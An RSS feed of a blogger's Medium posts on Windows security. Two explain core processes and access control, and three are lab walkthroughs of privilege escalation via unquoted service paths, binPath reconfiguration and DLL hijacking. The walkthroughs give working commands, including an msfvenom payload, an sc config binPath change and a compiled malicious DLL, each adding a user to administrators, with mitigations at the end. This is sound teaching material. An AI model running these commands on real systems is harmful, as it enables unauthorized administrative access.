<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by A.R.Rahim on Medium]]></title>
        <description><![CDATA[Stories by A.R.Rahim on Medium]]></description>
        <link>https://medium.com/@arrahim30?source=rss-d4d8131fc1b3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by A.R.Rahim on Medium</title>
            <link>https://medium.com/@arrahim30?source=rss-d4d8131fc1b3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 22:57:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@arrahim30/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Windows Core Process]]></title>
            <link>https://medium.com/@arrahim30/windows-core-process-f650073d6c63?source=rss-d4d8131fc1b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/f650073d6c63</guid>
            <category><![CDATA[core-windows-processes]]></category>
            <category><![CDATA[windows-process]]></category>
            <dc:creator><![CDATA[A.R.Rahim]]></dc:creator>
            <pubDate>Sat, 12 Nov 2022 20:51:52 GMT</pubDate>
            <atom:updated>2022-12-01T07:57:45.280Z</atom:updated>
            <content:encoded><![CDATA[<p>Understanding windows core processes is essential if you are a security guy dealing with Windows products. There is a famous saying that know normal and detect abnormal. If you are able to understand the relationship and context of the processes then you are able to differentiate between malicious and legitimate processes. I have analyzed core processes using process hacker and process monitor and also gather various valuable information from SANS poster, blogs and various other resources.</p><h4>Resource</h4><p>I have used draw.io to create html file that contain interactive boxes containing information about the process.</p><p><strong>Note:</strong> If any reader willing to contribute with some valuable information about these processes, I will append it in the diagram.</p><h4><strong>Instruction To Use Document</strong></h4><p>I have produced an interactive html file. Selecting process by clicking on box redirect you to the chosen process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*bnwON6jIm6qOMw1TAKycqQ.jpeg" /><figcaption>Main Page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*cd6P5PJbGJ96Qn2WfaBBuA.jpeg" /><figcaption>Description of the process</figcaption></figure><h4>Link</h4><p>Download the html file from the given link and open in your desired browser.</p><p><a href="https://drive.google.com/file/d/1eJtUkH7N0xmsgjPHlQkJZbXUOUueEOAJ/view?usp=share_link">https://drive.google.com/file/d/1eJtUkH7N0xmsgjPHlQkJZbXUOUueEOAJ/view?usp=share_link</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f650073d6c63" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Security Works On Windows]]></title>
            <link>https://blog.blockmagnates.com/how-security-works-on-windows-1130206656bf?source=rss-d4d8131fc1b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/1130206656bf</guid>
            <category><![CDATA[access-token]]></category>
            <category><![CDATA[acl]]></category>
            <category><![CDATA[windows-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[A.R.Rahim]]></dc:creator>
            <pubDate>Sun, 15 May 2022 09:25:23 GMT</pubDate>
            <atom:updated>2022-05-16T11:10:16.139Z</atom:updated>
            <content:encoded><![CDATA[<p>This article aims to understand the basics of the security process in windows and how windows manage access to ensure secured access to the resources. Following are the topics that we will cover in this blog:</p><p>· Security Principal</p><p>· SIDs</p><p>· ACE/ACL</p><p>· Access Tokens</p><p><strong>1.</strong> <strong>Security Principals</strong></p><p>A security principal is an entity that can be authenticated by the operating system. It can be a user account, a computer account, a thread, or a process that runs in a security context of a user or computer account or the security group of these accounts. Windows uses security principals to manage access to the resources in the windows computer.</p><p>The security principal is just like a friendly name to make it easier to identify an entity. It relates to the concept of DNS. In DNS case we don’t have to remember the IP address because we have a friendly name i.e.DNS name which is easy to remember.</p><p>To understand more we can say that the security principal is like who is asking for access?</p><p>From the above, we can understand that a security principal is like a name but what happens when the two entities have the same security principal (name)? This brings up the next concept in windows security i.e. SIDs.</p><p><strong>2.</strong> <strong>Security Identifiers</strong></p><p>Security Identifier (SID) is a value of variable length that uniquely identifies the security principal that represents an entity that can be authenticated by the operating system. Each security principal is automatically assigned a unique SID when it is created. So if the two entities have the same principal name, they will always have different SID in the local machine or a domain so that it can be uniquely identified by the operating system.</p><p>Along with SIDs that are uniquely generated when a security principal is created, Windows also has some well-known SIDs which are created automatically when the operating system or domain is installed. They are called well-known SIDs because they identify generic users or generic groups.</p><p>You can find the list of well-known SIDs from the following link:</p><p><a href="https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers">Security identifiers (Windows 10) - Windows security</a></p><p>We can check the list of generic and non-generic SIDs in the following registry that is used by the machine.</p><pre>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0_RdY0NELYx01Ad4gOo33w.png" /><figcaption>SIDs</figcaption></figure><p><strong>3.</strong> <strong>Access Control Entities/ Access Control List</strong></p><p>ACE/ACL on the securable object¹ determines which subject has access to that object. Access Control List (ACL) is a list of ACEs while Access Control Entries (ACEs) determine which subject has access and what permissions it has on that object. For example who can read the object, who has write access to the object etc.</p><p>ACE contains the SID of the security principal. When a subject tries to access the securable object, windows check if the SID of that subject is present in ACL, and if there is a match then the subject is allowed to access that securable object.</p><p>[1] A securable object is an object that has a security descriptor. A security descriptor contains security information associated with securable objects. It contains ACL, ACEs, etc to determine who has access to the securable object. I have given you a basic idea about security descriptors, but it contains a lot of information like DACL, SACL, etc which you can read in detail from the following link:</p><p><a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptors">Security Descriptors - Win32 apps</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*1ex9f0tKSnKCgl4gRmT74A.jpeg" /><figcaption>User Accessing Document object</figcaption></figure><p>In the above diagram, the user “Tom” requests to access the “Document” file. Windows check if the user’s SID is present on the requested resource. In this case, it is present and the user is allowed to access the Document object. But it raises a security concern what if the attacker has access to Tom’s SID? If the attacker requests the resource with Tom’s SID does windows allow it? To answer these questions, we will dive into the concept of Access Tokens.</p><p><strong>4.</strong> <strong>Access Token</strong></p><p>An access token is an object that describes the security context of a process or thread. It contains information regarding the identity and privileges of the user associated with a process or thread. When a user logs in to the system, an access token is created after the authentication is successful. Now every parent-child process that the user created has a copy of his/her access token and whenever any process accesses any securable object, it provides an access token that is used to check if the user is authorized to access that securable object. If the user is authorized then windows allow it, otherwise denied access to that object.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1130206656bf" width="1" height="1" alt=""><hr><p><a href="https://blog.blockmagnates.com/how-security-works-on-windows-1130206656bf">How Security Works On Windows</a> was originally published in <a href="https://blog.blockmagnates.com/">Block Magnates</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation: Unquoted Service Paths]]></title>
            <link>https://systemweakness.com/windows-privilege-escalation-unquoted-service-paths-cc761af10e32?source=rss-d4d8131fc1b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc761af10e32</guid>
            <category><![CDATA[unquoted-path]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[windows-privilege-esc]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[A.R.Rahim]]></dc:creator>
            <pubDate>Thu, 28 Apr 2022 14:09:51 GMT</pubDate>
            <atom:updated>2022-05-02T08:39:58.250Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Unquoted Service Paths</strong></h3><p>Windows services require the location of the target executable to run themselves. The path of the executable can be determined by binPath/ImagePath key in the registry and is often encapsulated by quotation marks, which allows Windows to locate the path or location of the executable. The following path is an example of a secure service path:</p><p>binPath\ImagePath = “C:\Program Files\Testing Folder\bin\service.exe”</p><p>If the following path is not encapsulated by quotation marks and contains a space in the path, windows will search service.exe in every directory and runs every executable until it locates the target executable. The following path is an example of an insecure service path:</p><p>binPath\ImagePath = C:\Program Files\Testing Folder\bin\service.exe</p><p>In the above case, windows will determine service.exe by the following order and execute every executable it will find:</p><p>C:\Program.exe</p><p>C:\Program Files\Testing.exe</p><p>C:\Program Files\Testing Folder\bin\service.exe</p><p>If the directories are configured with improper permissions, the attacker can place a malicious executable in them. If the service is set to run with administrative privileges then the attacker can elevate privileges and can gain unauthorized administrative access to the system.</p><h3><strong>Idea Behind The Attack</strong></h3><p>The idea behind the attack is to identify the services that run with SYSTEM or administrative privileges and have executable paths without quotation marks. After locating these services, determine directories on which the attacker has write access and place malicious executable to elevate privileges.</p><h3><strong>Lab Preparation</strong></h3><p>I am using “Heath Adams” Try hackme lab for testing this technique. You can create your own or can use the readymade lab from the given below link:</p><p><a href="https://tryhackme.com/room/windowsprivescarena">TryHackMe | Windows PrivEsc Arena</a></p><p><strong>Attacker machine IP: </strong>10.10.60.175</p><p><strong>Victim Machine IP: </strong>10.10.140.212</p><p><strong>Low-Privilege User: </strong>user</p><h3><strong>Initial Access</strong></h3><p>After gaining initial access, we have a low privilege user access named<strong> “user”</strong>. The goal is to add a current standard user named <strong>“user” </strong>in the administrator group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*sgQwnZmJFyeiWuenAhqjWQ.png" /><figcaption>Victim Machine With a Low Privilege User</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*YogoxOQUfnhj5p1SkT435Q.png" /><figcaption>Administrator Group</figcaption></figure><h3><strong>Reconnaissance</strong></h3><h4><strong>WMIC</strong></h4><p>The first step is to identify the service path that is not encapsulated by quotation marks. We can determine this by using windows utility <strong>“Windows Management Instrumentation (wmic)”</strong> in conjunction with findstr. The following command will output the list of services without quotation marks.</p><pre><em>wmic service get name,displayname,pathname,startmode |findstr /i /v &quot;c:\&quot; |findstr /i /v &quot;&quot;&quot;</em></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*ukHPS67mofy18_kGlFeI8w.png" /><figcaption>Spaced and Unquoted service</figcaption></figure><p>We will be interested in service <strong>“unquotedsvc”</strong> as it starts with administrative privileges i.e. SYSTEM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*sIOPkOQ5MJZKlATcDeIHlA.png" /><figcaption>Checking Service Privileges</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*QzMBFzE-1Lhek1gWV6dxWw.png" /><figcaption>Registry Editor View</figcaption></figure><p>We also need to check the permissions on the service directory to determine whether we can write or make changes to it. To check permissions, we will utilize icacls utility by running the following commands:</p><pre><em>icacls “C:\Program Files”</em></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*uX9AL2D8Y1MTfbJq1aL6bQ.png" /><figcaption>No Write Access in Program Files</figcaption></figure><pre><em>icacls “C:\Program Files\Unquoted Path Service”</em></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*3f7XLZn_iKq6-ZC0gMy08w.png" /><figcaption>Full Control On Unquoted Path Service</figcaption></figure><p>We can see that <strong>BUILTIN\Users</strong> have full control of the path “<strong>C:\Program Files\Unquoted Path Service</strong>”. We will add our malicious executable <strong>“common.exe”</strong> in the directory “<strong>Unquoted Path Service”</strong> to add a standard user named <strong>“user” </strong>in the administrator group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*3jdZ30wlm9USxxH7ZyNB1A.png" /><figcaption>Checking Directories in Unquoted Path Service</figcaption></figure><h4><strong>PowerUp.ps1</strong></h4><p>We can also use PowerUp.ps1 script to determine unquoted services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*LaHJ5qd2G3EIl45UPYHJ7A.png" /><figcaption>PowerUp.ps1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*Pz7_oVQoLWxH5aTara8YUw.png" /><figcaption>PowerUp.ps1</figcaption></figure><h3><strong>Exploitation</strong></h3><h4><strong>Creating Payload</strong></h4><p>We will create our payload on the attacking machine by the following command:</p><pre><em>msfvenom -p windows/exec CMD=&#39;net localgroup administrators user /add&#39; -f exe-service -o common.exe</em></pre><p>The malicious payload will add a user to the administrator group.</p><h4><strong>Transferring Malicious Executable</strong></h4><p>After creating a malicious payload, we will transfer our malicious program to the victim machine. I am using a python webserver to retrieve malicious executable and save it in C:\Program Files\Unquoted Path Service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*Ap6XDyzk8uCqcHs3TmJ8eg.png" /><figcaption>Starting Web Server on Attacker Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*fdz0MTgvA5znssYVTWpfUA.png" /><figcaption>Retrieving Malicious Payload on Victim Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*IeSOAGTWcNYfSgL-cE3xzQ.png" /><figcaption>Specifying Path For Malicious Payload on Victim Machine</figcaption></figure><h4><strong>Executing Malicious Payload</strong></h4><p>We can execute a malicious payload by restarting\starting the service <strong>“unquotedsvc”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*aAoyn27P-1lZ24qTEBbWRg.png" /><figcaption>Starting the Service</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*3c549dK-fBHuE-siEtJxPQ.png" /><figcaption>Administrator Group</figcaption></figure><p>We can check that user <strong>“user”</strong> is added to the local group of administrators.</p><h3><strong>Mitigation</strong></h3><ul><li>Ensure that any services that contain a space in the path enclose the path in quotes.</li><li>Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path interception by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate. [Mitre]</li><li>Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\Windows\, to reduce places where malicious files could be placed for execution. Require that all executables be placed in write-protected directories. [Mitre]</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc761af10e32" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/windows-privilege-escalation-unquoted-service-paths-cc761af10e32">Windows Privilege Escalation: Unquoted Service Paths</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation: binPath]]></title>
            <link>https://medium.com/@arrahim30/windows-privilege-escalation-binpath-7b58971b1f9e?source=rss-d4d8131fc1b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b58971b1f9e</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[binpath]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[windows-priv-escalation]]></category>
            <dc:creator><![CDATA[A.R.Rahim]]></dc:creator>
            <pubDate>Tue, 19 Apr 2022 22:02:17 GMT</pubDate>
            <atom:updated>2022-04-19T22:02:17.337Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>binPath</strong></h3><p>binPath is a mandatory parameter for a service that specifies the path to the service binary file. If any service is configured with improper permissions and exposes unauthorized access to the configuration of the service, an attacker can leverage this misconfiguration and can execute arbitrary commands through the <strong>“binPath”</strong> parameter. If the service is configured to run with elevated privileges then the attacker can run arbitrary commands with administrative rights while logged in as a standard user.</p><h3><strong>Idea Behind The Attack</strong></h3><p>The idea behind the attack is to identify the service that runs with System or administrative privileges and use the improper permission for the configuration of the service to execute arbitrary commands through the binPath parameter.</p><h3><strong>Lab Preparation</strong></h3><p>I am using “Heath Adams” Try hackme lab for testing this technique. You can create your own or can use the readymade lab from the given below link:</p><p><a href="https://tryhackme.com/room/windowsprivescarena">TryHackMe | Windows PrivEsc Arena</a></p><p><strong>Attacker machine IP: </strong>10.10.249.6</p><p><strong>Victim Machine IP: </strong>10.10.140.212</p><p><strong>Low-Privilege User: </strong>user</p><h3><strong>Initial Access</strong></h3><p>After gaining initial access, we have a low privilege user access named<strong> “user”</strong>. The goal is to escalate it and add a user to the administrators group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*sgQwnZmJFyeiWuenAhqjWQ.png" /><figcaption>Victim Machine With a Low Privileged User</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*YogoxOQUfnhj5p1SkT435Q.png" /><figcaption>Administrators Group</figcaption></figure><p>We can see that only TCM user is the part of the Administrators group.</p><h3><strong>Reconnaissance</strong></h3><p>The first step is to determine the weak permissions on services. We can use Accesschk tool to recon for the services that can be modified.</p><pre>accesschk64.exe –wvcu Everyone * <br>(Shows all the services that has write access to Everyone)</pre><pre>-u = Suppress Errors</pre><pre>-w = Show only objects that has write access</pre><pre>-v = Verbose</pre><pre>-c = Name as a windows service ( * for all the services)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*thU3c8eT95O1G8uQKmXX3Q.png" /><figcaption>Recon With Accesschk</figcaption></figure><p>Service <strong>“daclsvc” </strong>has “<strong>SERVICE_CHANGE_CONFIG” </strong>permission set to Everyone.</p><p>We can further query the service for more information by the following commands:</p><pre>accesschk64.exe –wvcu daclsvc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*aWunAY0khrEprMJMHsiyGA.png" /><figcaption>Service daclsvc</figcaption></figure><pre>sc qc daclsvc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*az5dkAphY1z8oTAcnsEFBw.png" /><figcaption>Service daclsvc</figcaption></figure><p>We can see from the above screenshot that service <strong>“daclsvc”</strong> starts with the System privileges, now we will add user <strong>“user</strong>” in the administrators group by leveraging the misconfiguration.</p><h3><strong>Exploitation</strong></h3><p>We will change the parameter <strong>“binPath”</strong> of daclsvc service by the following command:</p><pre>sc config daclsvc binPath= “net localgroup administrators user /add”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*qIRsHMPUqKBTOrfr3Hp_PQ.png" /><figcaption>Changing the binPath Parameter</figcaption></figure><p>We can see that the command runs successfully. Type the following command to check the binPath parameter.</p><pre>sc qc daclsvc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*cR1Fpgrxk1tQPE21W8_rHQ.png" /><figcaption>Querying Service daclsvc</figcaption></figure><p>After starting/restarting the service, a user named <strong>“user”</strong> is added to the administrators group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*j7Iff6_cMEzVVN3K-0OQGQ.png" /><figcaption>Starting the Service</figcaption></figure><h3><strong>Prevention</strong></h3><p>Only allow authorized administrators to interact with service changes</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b58971b1f9e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation: Hijacking DLLs]]></title>
            <link>https://systemweakness.com/windows-privilege-escalation-hijacking-dlls-c2f26168bf37?source=rss-d4d8131fc1b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2f26168bf37</guid>
            <category><![CDATA[windows-priv-escalation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[dll-hijacking]]></category>
            <dc:creator><![CDATA[A.R.Rahim]]></dc:creator>
            <pubDate>Sat, 09 Apr 2022 18:13:48 GMT</pubDate>
            <atom:updated>2022-04-14T05:57:52.246Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Hijacking DLLs</strong></h3><p>A <strong>dynamic Link Library (DLL)</strong> is a type of file containing resources that can be used by one or more programs at the same time to run successfully. These resources could be an image or a library of executable functions. Applications or services call DLLs to complete their execution and if they didn’t find the required DLLs then the application or service does not function properly. DLL files cannot be opened by end-users, they can only be opened by their associated application, which usually happens when the application starts up. Attackers can hijack DLLs by replacing the legitimate DLL with the malicious one, so when the application or service calls the required DLL, a malicious DLL will be loaded into the program and If the the application or service runs with administrative privileges, then the attacker can able to run malicious DLL with elevated privileges.</p><p>Applications or services have two following ways to search for their required DLLs:</p><p><strong>Absolute Path</strong></p><p>In absolute path, the application knows the location/path of required DLLs.</p><p><strong><em>E.g. Path= C:\Windows\System32\required.dll</em></strong></p><p>If the path is writeable, then the attacker can replace or modify “required.dll” with a malicious DLL.</p><p><strong>Undefined Path</strong></p><p>In the undefined path, the application knows the required DLL but it didn’t know about the location/path of the required DLLs.</p><p><strong><em>E.g. Path= required.dll</em></strong></p><p>In this case, windows application will use pre-define search paths to find DLLs and it will check these paths in the specific order. If safe DLL search mode is enabled then application or service search for the required DLL in the following order:</p><p>1- The directory from which the application loaded</p><p>2- C:\Windows\System32</p><p>3- C:\Windows\System</p><p>4- C:\Windows</p><p>5- The current working directory</p><p>6- The directories that are listed in the PATH environment variable.</p><p>If the safe DLL search mode is disabled then the application or service search for the required DLL in the following order:</p><p>1- The directory from which the application loaded</p><p>2- The current working directory</p><p>3- C:\Windows\System32</p><p>4- C:\Windows\System</p><p>5- C:\Windows</p><p>6- The directories that are listed in the PATH environment variable.</p><h3><strong>Idea Behind The Attack</strong></h3><p>The idea behind the attack is to find the service that is missing the required DLL file. If the service has an absolute path, check if the path is writeable and place a malicious DLL file in the absolute path. If the service has an undefined path, check all the paths mentioned above and determine if any of them is writeable and place a malicious DLL file in the writeable path.</p><p>Another technique for DLL hijacking is if the services have required DLL files and undefined path, check the search order mentioned above and if the attacker can place a malicious DLL file in a high priority search order path; then the malicious DLL file calls instead of the legitimate DLL file. For example, if safe DLL search mode is enabled and a legitimate DLL file is placed in the <strong>“C:\windows”</strong> location, then if the attacker can place a malicious DLL file in <strong>“C:\Windows\System”</strong>, the service calls a malicious DLL file because it is placed above in search order as compared to legitimate DLL file.</p><h3><strong>Lab Preparation</strong></h3><p>I am using<strong> “Heath Adams” </strong>Try hackme lab for testing this technique. You can create your own or can use the readymade lab from the given below link:</p><p><a href="https://tryhackme.com/room/windowsprivescarena">TryHackMe | Windows PrivEsc Arena</a></p><p><strong>Attacker machine IP: </strong>10.10.157.8</p><p><strong>Victim Machine IP: </strong>10.10.29.7</p><p><strong>Low-Privilege User: </strong>user</p><h3><strong>Initial Access</strong></h3><p>After gaining initial access, we have a low privilege user access named<strong> “user”</strong>. The goal is to escalate it and create/add user “test” in the administrators group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*sgQwnZmJFyeiWuenAhqjWQ.png" /><figcaption>Victim Machine With a Low Privileged User</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*YogoxOQUfnhj5p1SkT435Q.png" /><figcaption>Administrators Group</figcaption></figure><p>We can see in the above screenshot that only TCM user is the part of the Administrators group.</p><h3><strong>Reconnaissance</strong></h3><p>We required the following information to carry out our attack:</p><p>1- The service that has the required DLL file missing.</p><p>2- Name of the missing required DLL file</p><p>3- Path of the required DLL file</p><p>4- Permissions set on the path</p><p>I have tested winPEAS tool to check the required information but it only shows the DLL hijackable path and lists all the vulnerable services. Using this tool, we can’t able to relate vulnerable services with the DLL hijackable path. Further, we are unable to determine the name of the required missing DLL file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*CpKew6pLWCGy5kOu38s34A.png" /><figcaption>DLL Hijackable Path</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*v8MkDeFJHoZGZXMDfi7PHQ.png" /><figcaption>List of Vulnerable Services</figcaption></figure><p>I also tested PowerUp.ps1 tool, although it can find the DLL hijackable path and process hijackable DLL name but in my case, it didn’t show me the intended missing DLL file.</p><p>The only possible solution I have come to is to use the procmon tool but it required elevated privileges to run. We can transfer the vulnerable service to the attacker machine and analyze the service but this process required more time because you never know which service has a DLL file missing and you have to test every vulnerable service and analyzed its behavior. For testing purposes, I ran procmon on the target machine with elevated privileges and analyzed service <strong>“dllsvc”</strong> that is bound to the executable named <strong>“dllhijackmeservice.exe”</strong></p><p><strong>Note: If you have a better technique then do let me know in the comment section</strong></p><p>Run procmon and set filters as mentioned in the screenshots:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*Drr1BPoep6Aesd7Faq4_Dw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*ojeP9qEIT752peLj4Xynfg.png" /></figure><p>After applying filters, check for the service executable named <strong>“dllhijackservice.exe”.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*51dvkgrc_MnWcVgRkZFPdg.png" /></figure><p>We can see that the missing DLL file is <strong>hijackme.dll</strong>. Further, we can see the service looks in the path <strong>“C:\Temp”</strong> which is writeable as shown in the below screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*NaZFE5-sr8mig0ozgvjebg.png" /></figure><h3><strong>Weaponization</strong></h3><h4><strong>Creating A Payload:</strong></h4><p>We will create and add a user to the local administrator group. For this purpose, we have a payload based on the C language named <strong>“windows_dll.c”</strong>, we simply add the following command in system() function to achieve our purpose:</p><pre>net user /add test P@ssword &amp;&amp; net localgroup administrators test /add</pre><p>Now compile the payload file by typing the following in the command prompt:</p><pre>x86_64-w64-mingw32-gcc windows.c –shared -o hijackme.dll</pre><p>(NOTE: if this is not installed, use ‘sudo apt install gcc-mingw-w64’)</p><p>We will save the custom DLL file with the name of the missing DLL for the dllhijackservice.exe service. In our case, we will hijack the <strong>“hijackme.dll”</strong> DLL.</p><h3><strong>Delivery</strong></h3><h4><strong>Transferring Malicious Executable</strong></h4><p>After creating a malicious payload, we transfer our malicious program to the victim machine. I am using a python webserver to transfer malicious executable and save it in C:\Temp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*9DZltrdqYPpZE4XFerfBAw.png" /><figcaption>Starting Web Server on Attacker Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*I_QR4KD_q9Vq1LCTFexXzw.png" /><figcaption>Retrieving Malicious Payload on Victim Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*lKVLhNKNYqv5VVwh5tSxRQ.png" /><figcaption>Path For Malicious Payload on Victim Machine i.e. C:\Temp</figcaption></figure><h3><strong>Exploitation</strong></h3><h4><strong>Executing Malicious Payload</strong></h4><p>We can execute a malicious payload by restarting\starting the service dllsvc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*7ycjkcbZhLprabqJXK504g.png" /><figcaption>Starting dllsvc service</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*Uhoi1Mco23l0hKvwdIYYRA.png" /><figcaption>Administrators Group</figcaption></figure><p>We can see that user <strong>“test”</strong> is successfully created and added in the Administrators group.</p><h3><strong>Prevention</strong></h3><p>· Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user’s home directory) [Mitre]</p><p>· Check permissions on files and folders thoroughly especially on critical servers and only allow authorized users to write/modify the objects.</p><p>· Disallow loading of remote DLLs. This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. [Mitre]</p><p>· Identify and block potentially malicious software executed through search order hijacking by using application control solutions capable of blocking DLLs loaded by legitimate software. [Mitre]</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2f26168bf37" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/windows-privilege-escalation-hijacking-dlls-c2f26168bf37">Windows Privilege Escalation: Hijacking DLLs</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation: Startup Folder]]></title>
            <link>https://medium.com/@arrahim30/windows-privilege-escalation-startup-folder-1e9cfcefe0ec?source=rss-d4d8131fc1b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e9cfcefe0ec</guid>
            <category><![CDATA[backdoor]]></category>
            <category><![CDATA[windows-priv-escalation]]></category>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[startup-folder]]></category>
            <dc:creator><![CDATA[A.R.Rahim]]></dc:creator>
            <pubDate>Mon, 28 Mar 2022 20:45:29 GMT</pubDate>
            <atom:updated>2022-03-28T20:45:29.316Z</atom:updated>
